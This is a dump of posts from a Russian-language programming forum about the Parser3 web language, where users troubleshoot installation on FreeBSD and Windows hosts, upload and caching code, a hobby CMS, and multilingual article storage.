HTTP_COOKIE = __utma=76384790.1809719123.1204057879.1205250984.1205258653.83; __utmz=76384790.1204057879.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utmc=76384790; test=ABC; __utmb=76384790\
HTTP_HOST = bet.2pay.ru\
HTTP_KEEP_ALIVE = 300\
HTTP_USER_AGENT = Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ru; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\
PATH = /usr/local/bin:/usr/local/bin:/usr/bin:/bin\
QUERY_STRING =\
REMOTE_ADDR = 89.20.110.101\
REMOTE_PORT = 58644\
REQUEST_METHOD = GET\
REQUEST_URI = /cgi-bin/parser/printenv.pl\
SCRIPT_FILENAME = \
\
/home/bfsoft/data/www/bet.2pay.ru/cgi-bin/parser/printenv.pl\
SCRIPT_NAME = /cgi-bin/parser/printenv.pl\
SERVER_ADDR = 82.146.40.60\
SERVER_ADMIN = webmaster@bet.2pay.ru\
SERVER_NAME = bet.2pay.ru\
SERVER_PORT = 80\
SERVER_PROTOCOL = HTTP/1.1\
SERVER_SIGNATURE =\
SERVER_SOFTWARE = Apache/2.2.8 (FreeBSD) PHP/5.2.5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.7e-p1[/quote]\
\
\
у меня есть доступ к  root на VDS если ЧО"
"65553","[quote]DOCUMENT_ROOT = /home/bfsoft/data/www/bet.2pay.ru\
GATEWAY_INTERFACE = CGI/1.1\
HTTP_ACCEPT = text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\
HTTP_ACCEPT_CHARSET = windows-1251,utf-8;q=0.7,*;q=0.7\
HTTP_ACCEPT_ENCODING = gzip,deflate\
HTTP_ACCEPT_LANGUAGE = ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\
HTTP_CONNECTION = keep-alive\
HTTP_COOKIE = __utma=76384790.1809719123.1204057879.1205258653.1205266316.84; __utmz=76384790.1204057879.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utmc=76384790; test=ABC; __utmb=76384790\
HTTP_HOST = bet.2pay.ru\
HTTP_KEEP_ALIVE = 300\
HTTP_USER_AGENT = Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ru; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\
PATH = /usr/local/bin:/usr/local/bin:/usr/bin:/bin\
PATH_INFO = /_test.html\
PATH_TRANSLATED = /home/bfsoft/data/www/bet.2pay.ru/_test.html\
QUERY_STRING =\
REDIRECT_HANDLER = parsed-html\
REDIRECT_STATUS = 200\
REDIRECT_URL = /_test.html\
REMOTE_ADDR = 89.20.110.101\
REMOTE_PORT = 59697\
REQUEST_METHOD = GET\
REQUEST_URI = /_test.html\
SCRIPT_FILENAME = /home/bfsoft/data/www/bet.2pay.ru/cgi-bin/parser/printenv.pl\
SCRIPT_NAME = /cgi-bin/parser/printenv.pl\
SERVER_ADDR = 82.146.40.60\
SERVER_ADMIN = webmaster@bet.2pay.ru\
SERVER_NAME = bet.2pay.ru\
SERVER_PORT = 80\
SERVER_PROTOCOL = HTTP/1.1\
SERVER_SIGNATURE =\
SERVER_SOFTWARE = Apache/2.2.8 (FreeBSD) PHP/5.2.5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.7e-p1\
[/quote]"
"65554","вы пробовали скачать и поставить парсер, который выложен в треде, на который вы ссылаетесь?"
"65555","Спасибо, Миша!\
может в \"Скачать\" добавите?"
"65556","Есть задача:\
необходимо произвести многократные вычисления по формуле\
\
[code]\
$res(	\
	20 * \
	^math:log(\
		($L * ^math:cos($a - ^math:atan($h / $x)) * ^math:cos(^math:atan($y / $h)) ) / \
		( \
			(1 + $k * ^math:pow(^math:sin($a - ^math:atan($h / $x);2) ) * \
			(1 + $k * ^math:pow(^math:sin(^math:atan($y / $h);2) ) * \
			^math:sqrt($x*$x + $y*$y + $h*$h) \
		)\
	) / \
	^math:log(10) + \
	94 - $n\
)	[/code]\
\
Вычисления могут производиться несколько десятков тысяч раз (предел  не обозначен условием).\
\
Какими способами можно оптимизировать программу вычисления, чтобы сократить время выполнения? \
\
Вопрос касается построения самого парсера, т.к. не совсем понятно какие преобразования приведут к увеличению времени, а какие наоборот.\
(чтобы пояснить о чем речь, могу сослаться на постскриптум в примере про IP<=>Long Int http://www.parser.ru/examples/int-ip/ Там как раз на подобный ньюанс обращается внимание)"
"65557","Народ, помощи прошу. Ни с того ни с сего скрипт выдает такие ошибки. Куда сунуться, в Parser я совсем новичек. Сайт в наследство достался.\
-bash-3.00$ /test/www/otc02.p\
: command not found/test/www/otc02.p: line 1:\
: command not found/test/www/otc02.p: line 2: []\
: command not found/test/www/otc02.p: line 3: [^date::now[]]\
/test/www/otc02.p: line 4: syntax error near unexpected token `$date_now+1'\
/test/www/otc02.p: line 4: `$date_tomorrow[^date::create($dat '_now+1)]"
"65558","GONGADZE\
Здравствуйте.\
 Не работает UPDATE в MYSQL через .FIELD    \
не подскажите как Вы это исправили.\
Спасибо."
"65559","Можно содержимое скрипта"
"65564","Подскажите как реализовать задуманное:\
есть 2 сайта - [b]a.sample.ru[/b] и [b]b.sample.ru[/b] ссылаются на одну папку /sample.ru/www/\
Хочу чтобы организовать порядок в этой папке сделать так, чтобы \
все данные сайтов хранились в соответствующих папках:\
/sample.ru/www/a/...\
/sample.ru/www/b/...\
но при этом, чтобы при обращении к файлам не надо было писать лишнего:\
a.sample.ru/a/images/img_a.jpg -> a.sample.ru/images/img_a.jpg\
b.sample.ru/b/images/img_b.jpg -> b.sample.ru/images/img_b.jpg\
\
примерно представляю, что это надо делать через [b]RewriteRule[/b] но никак не могу понять как :(\
\
Буду очень признателен за помощь..."
"65566","В классе авторизации нет функционала который назначает права. Нет никаких определений того, какой бит что означает. Он лишь может выдать цифру с битовой маской. \
Все остальное, включая назначения прав, логику доступа по определенным правам придется писать самому."
"65569","Выложил я исходники\
[url=\"http://cms.forjesus.eu\"]скачайте[/url]"
"65570","[url=\"http://cms.forjesus.eu/_admin/index/content/edit.phtml?fullpath=/\"]http://cms.forjesus.eu/_admin/index/content/edit.phtml?fullpath=/[/url]http://cms.forjesus.eu/_admin/index/content/edit.phtml?fullpath=/\
\
\
[code]Unhandled Exception\
\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, you@example.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.\
Not defined form:tagNumber\
\
/usr/home/janek/www/cms.forjesus.eu/_admin/index/content/auto.p(2:28)\
throw	/usr/home/janek/www/cms.forjesus.eu/_admin/index/content/auto.p(2:28)\
if	/usr/home/janek/www/cms.forjesus.eu/_admin/index/content/auto.p(2:2)[/code]"
"65571","))) Хоть кто-то не постеснялся поделиться своими наработками))\
Конечно, эта CMS еще далека до совершенства, но может кто-нибудь еще поделится, или только будут ФУ говорить ? )))"
"65572","Еще вроде нет при создании возможности задания параметров для разделов (таким образом потом в случае чего придется совершать лишнее действие) и с виду неудобное манипулирование ими. А потом что-то не так клацнул и вообще все работать перестало…"
"65573","По-моему так и не решилась проблема с ошибкой \"error while loading shared libraries: libstdc++-libc6.1-1.so.2: cannot open shared object file: No such file or directory\"\
\
Если кто решил этот вопрос, дайте знать."
"65577","Ну как успехи?"
"65578","Это баг. При создании параметов cmsка не провераеть ничево. Ты создал новый аттрибут с названем в котором были руские буквы. Cmsка сохронила всё в XML, но в XMLе можно пользоваться только латинскими буквами. \
\
Моя cmsка - нет готовый продукть, в нём ещё много багов. Вы видели - я написал \"coders wanted\"\
\
p.s. аттрибуть \"Clickable\" должень быть только 1 или 0. Иначе всё опять работать перестанеть ;)\
\
\
исходники можетье скачять всегда\
http://cms.forjesus.eu/_data/cms.tgz"
"65579","У меня сервер и другие сайты работаеть на forjesus.eu.\
Cms - ето субдомена."
"65580","Следующий код:\
[code]\
$.[images.image_id]{${TABLES.images}.image_id}\
[/code]\
Ошибка: [b]/classes/system//ImageDB.p(26:44): syntax error, unexpected '}', expecting '[' or '{' or '('[/b]\
\
А если сделать так, то проблем нет:\
[code]\
$.[images.image_id][${TABLES.images}.image_id]\
[/code]\
\
Но мне нужно, чтобы была именна junction-variable, т.к. переменная $TABLES.images может меняться.\
\
P.S. Может все-таки не в ту сторону думаю?"
"65581","а Вы сами любите отдавать свои деньги первым встречным на улице?"
"65582","Т.е. не мучаться, т.к. junction по барабану на глобальные переменные?\
\
P.S. Но все-же вопрос остается открыт, почему получаю ошибку?"
"65583","Если конечно это не секретная информация, то за основу можно было бы взять раздел \"Примеры\".\
А именно статью \"о переносимости SQL запросов\".\
\
В Engine скорее все есть один объект с путем /examples/sql/. У данного объекта есть 2 текстовых данных, одни на русском, другие на английском.\
Меня интересует где находится сама статья, предполагаю, что есть таблица, к примеру articles. Здесь уже появляется вопрос в этой таблице лежат 2 статьи с разными ID или же, сами тексты статьи лежат в другой таблице, к примеру articles_texts (наподоби как у вас сделаны объекты Engine)?\
\
Пока на этом, т.к. у меня есть еще вопросы, но они зависят от вашей реализации."
"65584","почти copy/paste %-)\
+ lang_id\
\
тексты отдельно у новостей мы не храним, т.к. по нашему опыту практически никто не публикует одну и ту-же статью сразу на нескольких языках и задачи переключить просмотр статьи с одного языка на другой мы в общем виде не решаем (сначала мы смотрим на задачу, потом смотрим подходит ли у нас для неё стандартное решение, если не подходит -- делаем что-то \"своё\").\
\
когда это требуется (на моей памяти было не больше двух раз), то да, делаем что-то типа article_text."
"65585","... ведь у них разный ID.\
Этим занимается отдельный обработчик?"
"65587","Я БД я понимаю есть такое:\
[code]\
article_id	name\
1	Russian name\
2	English name\
[/code]\
Это одна и та же статья, просто на разных языках.\
Тогда при заходе на /examples/sql/ срабатывает свой обработчик, который относительно lang_id достает и выводит из БД нужную статью, но у них же разный ID, как этот обработчик узнает статью с каким ID ему нужно достать?\
Или же у вас в articles повторяются id, но просто имеют разные lang_id?"
"65588","http://site/articles/?id=1 -- 200\
http://site/en/articles/?id=2 -- 200\
\
http://site/en/articles/?id=1 -- 404\
http://site/articles/?id=2 -- 404\
\
я даже не представляю как объяснять, мне это кажется ну совсем очевидным. lang_id известен. id вот он в форме. в чём проблема-то?"
"65589","Думал может здесь без mod_rewrite как-то все сделано."
"65590","ну язык можно и в query передавать, но мы так не делаем. или он может быть в имени домена (.ru/.com).\
\
конечно можно по id вытащить статью, достать её язык и дальше отобразить в этом языке и всё, что к статье не относится (меню...), однако не уверен, что так будет проще."
"65591","Здравствуйте. Такая вот ОГРОМНАЯ проблема.\
Сделал 4-ёх уровневую структуру навигации на Парсере для сайта http://skleroz.net/\
Всё бы замечательно, но с 50-ью посетителями в день  \"аккаунт создаёт высокую нагрузку на сервер хостинга\"\
Почему создаются нагрузки понятно - в формировании html файла 4-ого уровня вложенности участвует АЖ 9 файлов (но этим то и достигается ЭЛЕМЕНТАРНАЯ НАВИГАЦИЯ)\
\
Вообщем, меня могут отключить за повышенные нагрузки на сервер, а очень не хочется (что я думаю вполне понятно) покупать из-за сайта, весящего менее 10 мб выделенный сервер за 2 штуки в месяц\
Начинать раскручивать сайт боюсь...\
\
Помогите, если в силах!\
На http://parser888.narod.ru/ я предоставляю содержание файлов, формирующих каждую страницу"
"65593","Нет, не пробовал. \
\
Так?: <meta http-equiv=\"Cache-Control\" content=\"public\"> \
\
2) я этим не пользовался никогда, но так понимаю при кэшировании навигация и будет кэшироваться, а при этом выделение активного пути пропадет (выделение активных разделов)? Я правильно понимаю или кэшироваться будут только сами файлы, участвующие в формировании каждой страницы?"
"65594","А про навигацию я не особо понял что Вы имели ввиду. Возможно Вы не так понимаете что делает кэширование на стороне сервера.\
\
Как кэшировать, смотрите в разделе \"Примеры\" оператор ^cache[]."
"65595","\"аккаунт создаёт высокую нагрузку на сервер хостинга\" - вам это сказал хостинг-провайдер?\
если у вас виртуальный хостинг, то на сколько я знаю, при превышении выделенного вам лимита (процессора, памяти, диска) вас автоматически \"зарежут\". ну и как только вы снизите нагрузку всё вернётся на свои места.\
У вас parser выдаёт ошибку? Вы замеряли сколько ваши скрипты занимают ресурсов?"
"65597","Здравствуйте при переносе сайта с одной площадки (FreeBSD 4.11) на другую (FreeBSD 6.2) неожиданно возникли проблемы\
\
Порядок действий:\
1)Из [url=\"http://www.parser.ru/download/freebsd6/\"]соответствующего раздела[/url] скачал парсер, файлы конфигурации и драйвер MySQL\
\
2)Закачал файлы в cgi-bin ([b]в бинарном режиме[/b]), создал в корневом каталоге .htaccess (как указано в разделе download) \
\
3)Установил права на выполнение parser3.cgi (rwxr-xr-x)\
\
[b]Результат:[/b]\
www.мойдомен.ru/cgi-bin/parser3.cgi\
выдает Internal Server Error\
в error_loge пишется только одно:\
[i]Premature end of script headers: /home/u94114/tesey.ru/cgi-bin//parser3.cgi[/i]\
\
Уже пробовал:\
parser3_2_2_freebsd62R_cgi.tar.gz\
parser3_2_1_freebsd61R_cgi.tar.gz\
FreeBSD 6.2 на хостинг-площадке Мастерхост: Parser 3.2.1sp2 + драйвер MySQL [прислал В.О.]\
http://www.parser.ru/forum/?id=64177\
http://www.parser.ru/forum/?id=65189"
"65598","На Мастерхосте 4.1.\
Пару дней назад лично там Парсер обновлял."
"65600","На МХ есть площадки с 4.1 и с 6.1-6.2\
Человеку надо uname -a посмотреть для достоверности."
"65601","Но человек молчит, не смотрит."
"65602","1. Кеширование со сбросом кеша при изменениях в админке\
2. Попробуйте формировать хеши или хеш-файл вместо подрузки cfg файлов или использовать mysql с нормальными запросами\
\
А еще лучше и то и другое вместе взятое"
"65603","Вот код загрузки файла на сервер\
\
<form enctype=\"multipart/form-data\" method=post>\
<input type=hidden name=cat value=$catalog.id>\
Фото <input type=file name=foto class=input1><br><br>\
Описание <input type=text name=text class=input1><br><br>\
<input type=submit name=post_add_foto value=\"Добавить\" class=input2>\
</form>				\
^test_and_add_foto[]\
\
\
Вот обработчик\
\
@test_and_add_foto[]\
^if(def $form:post_add_foto && def $form:foto){\
 $photo[^image::measure[$form:foto]] \
 ^if($photo.width > 800 || $photo.height > 1000){\
   $response:location[/cp/catalog.html?cat=$form:cat&error=\"Размеры фото не должны превышать 800 на 600 пикселей\"]\
    }{\
   ^void:sql{INSERT INTO fotos (id,	parent,	text) VALUES (NULL,	'$form:cat',	'$form:text')}\
   $last_id[^int:sql{SELECT DISTINCT last_insert_id() FROM fotos}[$.default{0}]]\
   ^form:foto.save[binary;/pic/catalog/${last_id}.jpg]\
   $response:location[/cp/catalog.html?cat=$form:cat&error=Фото добавлено]\
   }\
}\
\
Так вот он ругается, что measure failed: No such file or directory (2), actual filename 'x:/home/ntc-progress.ru/www/cp/2.jpg'\
Ну естественно его там нет! Он же еще не записан на диск.\
\
Думал обойти эту ошибку все таки сохранив временно файл на диск, и действовать с ним.\
\
@test_and_add_foto[]\
^if(def $form:post_add_foto && def $form:foto){\
 ^form:foto.save[binary;/pic/catalog/temp/temp.jpg]\
 $photo[^image::measure[/pic/catalog/temp/temp.jpg]] \
 ^if($photo.width > 800 || $photo.height > 1000){\
   $response:location[/cp/catalog.html?cat=$form:cat&error=\"Размеры фото не должны превышать 800 на 600 пикселей\"]\
    }{\
   ^void:sql{INSERT INTO fotos (id,	parent,	text) VALUES (NULL,	'$form:cat',	'$form:text')}\
   $last_id[^int:sql{SELECT DISTINCT last_insert_id() FROM fotos}[$.default{0}]]\
   ^form:foto.save[binary;/pic/catalog/${last_id}.jpg]\
   $response:location[/cp/catalog.html?cat=$form:cat&error=Фото добавлено]\
   }\
}\
\
На этот раз вылазит следующая ошибка \
unknown mode, must be 'append'\
binary\
\
Ну что здесь не так?"
"65604","Для начала: есть отличный тэг «code».\
\
Далее: [quote]measure failed: No such file or directory (2), actual filename 'x:/home/ntc-progress.ru/www/cp/2.jpg'[/quote]\
\
Откуда тут взялось имя файла «2.jpg» если measure'ился $form:foto?\
Есть подозрение, что либо приходит что-то не то, или код приведён неверный.\
\
[code]$photo[^image::measure[$form:foto]][/code]\
\
Прекрасно работает.\
Сам неоднократно пользвался.\
\
Судя по второму куску кода — приходит явно строка.\
\
Сделай нормальную простую форму, заключи все атрибуты в кавычки и просто тест на $photo[^image::measure[$form:foto]]."
"65605","Вот именно: почему он мерит файл, который я указал на загрузку, а не $form:foto ?"
"65606","Тривиальнейший код:\
[code]\
<form enctype=\"multipart/form-data\" method=\"post\">\
	<input type=\"file\" name=\"image\"/><br/>\
	<input type=\"submit\" name=\"submit\" value=\"go\"/>\
</form>\
\
^if(def $form:image){\
	$imgPhoto[^image::measure[$form:image]]\
	${imgPhoto.width}x$imgPhoto.height\
}\
[/code]\
прекрасно работает.\
\
Ищи ошибки в своём коде."
"65607","^void:sql{INSERT INTO fotos (id, parent, text) VALUES (NULL, '$form:cat', '$form:text')}\
$last_id[^int:sql{SELECT DISTINCT last_insert_id() FROM fotos}[$.default{0}]]\
Думаю, ошибка здесь id должно быть auto_increment и ничего вставлять не надо тогда.\
К тому же на мой взгяд $.default{0} надо написать так $.default(0)\
\
Ну и конечно строка подключения отсуттсвует))"
"65608","Ещё несколько сообщений назад, вы спрашивали [url=http://www.parser.ru/forum/?id=65030]как подключить класс[/url].\
Сейчас [url=http://www.parser.ru/forum/?terms=&author=vika&doSearch=%CD%E0%E9%F2%E8]направо и налево раздаёте советы из воздуха[/url].\
Может быть вы прекратите советовать, не понимая?.."
"65610","Спасибо за замечание ))\
Я думаю Вам стоит меня удалить )))\
Или как минимум запретить отвечать на форуме ))\
\
Я бы и сама удалилась, но из этого замечательного форума нет такой функции."
"65611","пробовал. parser (3.2.2) скомпилированный под FreeBSD 4.1 впринципе запустился на другой мастерхостовской площадке, на этой - нивкакую,\
эффект тотже: Premature end of script headers"
"65612","как раз с площадки с FreeBSD 4.11 сайт переехал на площадку с FreeBSD 6.2 что мне и написали в службе поддержки\
\
uname -a выдает следущее:\
FreeBSD be87.masterhost.ru 6.2-RELEASE-p1...и т.д."
"65613","http://www.parser.ru/forum/?id=65532"
"65614","там в первом сообщении есть ссылка на другой тред\
http://www.parser.ru/forum/?id=64114\
а там уже выложена версия parser3.cgi собранная под мастерхост,\
если имеется ввиду это, то пробовал\
\
[b]результат аналогичный[/b]"
"65615","Попробуйте мой [url=\"http://stream.ifolder.ru/5442968\"]бинарник[/url], собранный на МХ 6.2\
\
И для теста запустите парсер из консоли."
"65616","скачал, поставил, запускаю из консоли:\
[i]tesey.ru/cgi-bin/parser3.cgi[/i]\
пишет:\
[i]Parser/3.2.3b (compiled on i386-unknown-freebsd6.1)[/i]"
"65617","[quote]Parser/3.2.3b (compiled on i386-unknown-freebsd6.1)[/quote]\
и всё, без копирайтов и опций?\
\
Попробуйте теперь из веб test.html прогнать."
"65618","после\
Parser/3.2.3b (compiled on i386-unknown-freebsd6.1)\
конечно же идут копирайты и опции\
--\
\
если запускать через веб, то и _test.html и /cgi-bin/parser3.cgi\
выдают Internal Server Error (в логе: Premature end of script headers)"
"65619","Полагаю, что разницы при запуске .cgi из консоли и напрямую из веба быть не должно. Боюсь, что я пас.\
\
Может написать в тех.поддержку?"
"65620","попробуйте удостовериться, что директория, где вы размещаете исполняемый файл, указана в ScriptAlias для cgi-bin.\
\
также попробуйте положить в неё printenv.pl, назначить на него права и запустить его из консоли и через http запрос."
"65621","Ну ничё нового не скажу, но я перевёл уже десяток площадок на МХ с одной bsd на другую.\
\
Пробовали вариант [x]? Стереть всё и поставить всё заново?"
"65622","какая то смешная ситуация\
\
Походил по вашим страницам, отдаются сносно, время отдачи не превышает 4 секунд и не зависит от уровня вложенности. Это вместе со всеми аттачами (css, img ...). Самое частое время - 1 сек.\
\
Отсюда вывод, что ваш сайт при 50 посетителях в день работает в сутки 50-200 секунд, из которых парсер - лишь какую то часть.\
Тогда о каких нагрузках на сервер идет речь?\
Читается 9 файлов? - это смешно. У многих кто тут тусуется десятки подгружаемых файлов - норма (и не маленьких).\
\
Вот я понимаю у меня как то была оказия: по ошибке на крон повесился индексатор сайта с запуском каждую минуту, при количестве страниц ~2000. Он даже не успевал закончить, когда запускался следующий экземпляр. И так круглые сутки. Неудивительно, что от провайдера пришло спустя какое то время письмо с предупреждением.\
\
А у вас каких то 200 сек.\
\
Варианты:\
\
1. В примерах найдите Мишин usage и померяйте им параметры, посмотрите расход cpu/памяти. Сделайте выводы.\
\
2. Поговорите с хостером - выясните _какую именно_ нагрузку создает ваш сайт - много памяти, процессорное время? \
Выясните какие ограничение у хостера стоят на эти параметры. Узнайте как у других. Сделайте выводы.\
Не исключен вариант ошибки с их стороны, особенно если письма о превышении ресурсов шлет автоматический робот.\
\
3. Если хостер угрожает вам отключением - шлите лесом этого хостера, он в вас не заинтересован. Нормальный хостер наказывает не отключением, а более сильным ограничением ресурсов. \
\
\
По коду ничего не скажу - не вчитывался. \
Советую подумать над использованием СУБД вместо cfg. Правда при ваших текущих объемах это не скажется на производительности."
"65623","То что страницы отдаются быстро - это понятно (кроме навигации там грузиться и нечему)\
Про то что кто здесь тусуется - десятки подгружаемых - так вот у меня тоже десяток без одного и я вот хочу чтоб у меня тоже стало нормой это, а не превышением ресурсов хостера\
1. В примерах Миши я не нашел ничего со словом usage (через f3 искал по странице)\
2. Нагрузка за сегодня (с 10 до 12)\
\
Начало периода  Конец периода  Процент нагрузки  Процессорное\
время  LA сервера  \
\
2008-03-16 11:45:04    2008-03-16 12:00:01    0.13 %    0.04 min    1   \
 2008-03-16 11:15:03    2008-03-16 11:30:02    0.17 %    0.05 min    0.86   \
 2008-03-16 11:00:02    2008-03-16 11:15:03    0.07 %    0.02 min    0.76   \
 2008-03-16 10:45:01    2008-03-16 11:00:02    0.07 %    0.02 min    0.72   \
 2008-03-16 10:30:02    2008-03-16 10:45:01    0.07 %    0.02 min    0.65   \
 2008-03-16 10:00:01    2008-03-16 10:15:01    0.07 %    0.02 min    0.59  \
\
3. Даже если он угрожал ограничением ресурсов - ведь смысл то не меняется - нужно что-то делать, а не глаза закрывать на это\
\
Гляньте на код, может что-нибудь дельное увидите"
"65624","Ув. Vika!\
Что вы предлагаете кэшировать?\
низа у страницы нет, текст не исполняется (он в html), вверху - пару строк, которые запрашиваясь из корневого auto.p хостинговому серверу параллельны\
\
В итоге получается что кешировать можно 2 путями:\
1. кэшировать каждую страницу - тогда какой толк в использовании Парсера?\
2. кэширование навигации - думаю объяснять не нужно что будет?  (с таким же успехом можно было бы сразу делать её через SSI вставки) - переход осуществляться то будет, а подсветка активного раздела пропадает!!!\
\
Строить сайт на кэшированных файлах вместо сап - тоже несерьезно\
\
Я впринципе только начал узнавать про кэширование, но насколько я понял кэширование в моей ситуации не подойдет, ведь тот код который нужно чтоб поменьше грузился динамический ...\
\
Правда я использовал не то, что в примерах (там довольно запутано), а это:\
^cache[/cache/cache-header](1296000){\
^header[]\
}\
\
Может как раз в примерах мое спасение - расскажите вкратце как работает и что кэширует тот пример (хотя судя по тому, что кэширование - сохранение результатов, то я так понимаю там тоже самое просто с полезными наворотами)\
\
Посмотрите пожалуйста код еще раз, что вы предлагаете кэшировать?"
"65625","Вроде бы чуть-чуть разобрался что это такое - КЭШИРОВАНИЕ\
\
Не могу понять, что вы предлагаете кэшировать?\
низа у страницы нет, текст не исполняется (он в html), вверху - пару строк, которые запрашиваясь из корневого auto.p хостинговому серверу параллельны\
\
В итоге получается что кешировать можно 2 путями:\
1. кэшировать каждую страницу - тогда какой толк в использовании Парсера?\
2. кэширование навигации - думаю объяснять не нужно что будет?  (с таким же успехом можно было бы сразу делать её через SSI вставки) - переход осуществляться будет, а подсветка активного раздела пропадает!!!\
\
Я впринципе только начал узнавать про кэширование, но насколько я понял кэширование в моей ситуации не подойдет, ведь тот код который нужно чтоб поменьше грузился динамический ...\
\
Правда я использовал не то, что в примерах (там довольно запутано), а это:\
^cache[/cache/cache-header](1296000){\
^header[]\
}\
\
Может как раз в примерах мое спасение - расскажите вкратце как работает и что кэширует тот пример (хотя судя по тому, что кэширование - сохранение результатов, то я так понимаю там тоже самое просто с полезными наворотами)\
\
Посмотрите пожалуйста код еще раз, что вы предлагаете кэшировать?"
"65626","У вас не ведь информации которая на странице часто изменяется?..\
\
А вообще неясно, что такого страшного в генерации навигации.\
Каким образом вы её генерируете?"
"65627","Страница 3 уровня генерируется примерно так:\
1. читается корневой auto.p\
2. читается auto.p 2 уровня вложенности\
3. читается auto.p 3 уровня\
4. запрашивается корневой файл .cfg\
5. запрашивается .cfg 2 уровня\
6. запрашивается .cfg 3 уровня\
\
все auto.p чудесным образом взаимодействуют так, что выстраевается цепочка активного раздела - за выделение каждой активной ссылки каждого уровня (за убирание ссылки с активного раздела этого уровня) вложенности отвечает свой auto.p, который выстраивает навигацию своего уровня вложенности из файла .cfg своего уровня\
\
посмотрите http://parser888.narod.ru/ - там я описал расположение файлов auto.p и .cfg и их содержание\
получается так, что в каждой папке - свой auto.p и *.cfg, которые руководствуясь корневым auto.p и реализуют навигацию\
\
поэтому, если кэшировать навигацию-пропадет это самое выделение цепочки активных разделов\
\
Я не знад, как поступить по другому, поэтому основываясь на уроке, где приведен пример построения навигации одного уровня сделал эту 4 уровневую. Наверняка можно сделать как то по другому-более оптимизированно\
\
Не подскажите, на каком другом сайте реализована навигация 4х уровней на парсере и как это сделано?"
"65628","Подобная генерация настолько несерьёзная нагрузка на сервер, что о ней и говорить смешно.\
\
[quote]поэтому, если кэшировать навигацию-пропадет это самое выделение цепочки активных разделов[/quote]\
\
Вы не понимаете принципа кэширования.\
Страница сгенерится со всей вашей навигацией и положится на диск в статическом виде.\
\
Но я не думаю, что в вашем случае стоит задумываться о кэшировании.\
\
[quote]Не подскажите, на каком другом сайте реализована навигация 4х уровней на парсере и как это сделано?[/quote]\
\
На любом сайте есть навигация.\
Кто и как её реализует — дело разработчика.\
Кто-то на основе XML, кто-то на основе данных из базы, кто-то файликами, кто-то оталкивается на косвенной информации о «разделах».\
Кому как удобно.\
\
Я ещё раз озвучу совет: соберите статистику по генерации страницы с помощью [url=http://www.parser.ru/forum/?id=57273]rusage[/url].\
Не может ваш код вызывать дикой нагрузки."
"65629","Ну как проверили? :)"
"65630","Это вы чуточку непоняли меня.\
Когда кэшируем определенный код из auto.p в ОДИН ФАЙЛ в определенную папку на сервере - есть смысл\
(если код большой и нет смысла его вычеслять каждый раз из auto.p а лучше сохранить в один файл - тогда безусловно есть смысл)\
Вообще изначально кэшируется что (в один файл чтоб из разных всяких мест запрашивать)? ОДИНАКОВОЕ! А у меня на сайте то что одинаковое, нет смысла кешировать.\
Что предлагаете вы? вы предлагаете кэшировать КАЖДУЮ страницу сайта в отдельный файл - тоесть у меня есть сайт и есть его кешированная копия..прикольно...можно было изначально сделать все на хтмл\
Это после того, как мне рассказали о кешировании сегодня понял, что так можно сделать, но неужели это самый лучший выход из данной ситуации?"
"65631","... разобраться с хостером, поскольку, приведенный код, не может создавать никакую значимую нагрузку на сервер. В принципе не может. Вы же упорно продолжаете флеймить в форуме. :(\
\
А кеширование штука полезная - оно позволяет снять \"пиковую\" нагрузку (для большого числа одновременных запросов к одним и тем же данным). Но это не ваш случай."
"65632","1. http://www.parser.ru/examples/erusage/, заодно и про кэширование почитайте на будущее http://www.parser.ru/examples/cache/\
2. я не уверен на 100%, что могу правильно понимать приведенные цифры, но если это так - то я не вижу тут какой либо нагрузки. 0.07% CPU в течении 2 сек - это нагрузка?\
\
Кстати, а кто у вас хостер?\
\
Вам уже написали - могу повторить еще раз - у вас не может быть высоких нагрузок. \
\
Код смотреть не буду в том виде в котором он предоставлен. Если хотите - можете прислать архив вашего кода (все файлы полностью с cfg итп, а не только *.p) мне на почту (см. профиль), может быть прикручу в виртуальный хост и гляну."
"65636","Фигня в том, что те, кому оно в надо не очень умеют программировать драйвера на С или С++ под *NIX :("
"65639","На новую машину решил поставить новый parser3_2_2_win32_cgi .\
Т.к. опыт по установке предыдущих версий имеется - думал всё пройдёт гладко. Однако в логе постоянно возникала непобедимая ошибка: Premature end of script headers.\
Запуск parser3.exe из командной строки показал: \"Приложению не удалось запуститься, поскольку MSVCP71.dll не был найден. ... \"\
В архиве parser3_2_2_win32_cgi.zip есть похожий файл, только он называется msvcr71.dll . И с точностью до байта совпадает с библиотеками из предыдущих архивов.\
Я так понимаю что надо перекомпилировать parser3.exe ?\
К сожалению у меня нет сишных компиляторов на winxp - проделать это самостоятельно не могу.\
Спасибо!"
"65641","Судя по описанию у Вас структура:\
[code]\
<result>\
	<info>\
		<date ... />\
		<client> ... </client>\
	</info>\
	<document> ... </document>\
	<navigation> ... </navigation>\
#       ... + блоки, привязанные к объекту\
</result>\
[/code]\
\
Ведь блоки глобальных объектов не привязываются к данному объекту, тогда где в данном XML они будут выводиться? Еще интересует их порядок. Если же они выводятся с блоками данного объекта, то как происходит их сортировка?\
\
Глобальные объекты находятся только в корне сайта (у них parent_id = 0)? Или же они могут быть и детьми какого-то объекта (у которого object_type_id может быть равен 2 (leaf)), если же могут быть детьми, то они также и показываются у всех объектов или только в данной ветке?"
"65642","$pageID(1)\
^cache[/cache/navigation.$pageID](6000){\
^navigation[$pageID]\
}\
\
Только толку-то, если у вашего хостера просто не разобрались, кто именно наел ресурсов сервера, и решили заняться охотой на ведьм."
"65643","Чтобы удостоверится сейчас скачал заново parser3_2_2_win32_cgi.zip - ошибка присутствует.\
Обратите внимание, что это версия без XML. Хотя закачал и её - всё равно ошибка.\
Внутри parser3.exe есть текст и MSVCR71.dll и MSVCP71.dll"
"65644","В версии с XML эту ошибку исправляли и она сейчас у меня работает локально, под Vista.\
По версии без XML — не подскажу, очень возможно, что ошибка там присутствует.\
\
Думаю в ближайшие пару недель-месяц пересобрать просто некому...\
\
А. Стоп. Запамятовал.\
